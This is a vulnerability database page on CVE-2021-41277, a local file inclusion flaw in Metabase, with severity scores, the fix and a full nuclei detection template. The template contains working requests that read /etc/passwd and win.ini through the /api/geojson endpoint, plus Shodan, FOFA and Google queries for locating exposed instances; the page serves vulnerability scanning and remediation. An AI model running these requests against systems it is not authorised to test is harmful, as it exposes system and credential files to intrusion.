HexBrain

Browse / CVEs / CVE-2021-41277

CVE-2021-41277· metabase / metabase· CWE-22, CWE-200

Metabase - Local File Inclusion

Exploited in the wild. Listed by CISA on 2024-11-12; known to be used by ransomware.

highseverity
7.5CVSS score
97.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.

Impact

The vulnerability can result in unauthorized access to sensitive files or execution of arbitrary code on the affected system.

Fix

This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.

How to confirm it

Send: GET {{BaseURL}}/api/geojson?url=file:///etc/passwd ; GET {{BaseURL}}/api/geojson?url=file:///c://windows/win.ini
Positive when: matches /root:.*:0:0/ OR contains "bit app support" and "fonts" and "extensions"

Run it with nuclei: nuclei -id CVE-2021-41277 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-41277

info:
  name: Metabase - Local File Inclusion
  author: 0x_Akoko,DhiyaneshDK
  severity: high
  description: |
    Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.
  impact: |
    The vulnerability can result in unauthorized access to sensitive files or execution of arbitrary code on the affected system.
  remediation: |
    This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.
  reference:
    - https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41277
    - https://twitter.com/90security/status/1461923313819832324
    - https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0
    - https://github.com/pen4uin/vulnerability-research-list
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41277
    cwe-id: CWE-22,CWE-200
    epss-score: 0.97178
    epss-percentile: 0.99894
    cpe: cpe:2.3:a:metabase:metabase:0.40.0:-:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: metabase
    product: metabase
    shodan-query:
      - "http.title:\"Metabase\""
      - http.title:"metabase"
    fofa-query:
      - "app=\"Metabase\""
      - title="metabase"
      - app="metabase"
    google-query: "intitle:\"metabase\""
  tags: cve2021,cve,metabase,lfi,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/geojson?url=file:///etc/passwd"
      - "{{BaseURL}}/api/geojson?url=file:///c://windows/win.ini"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from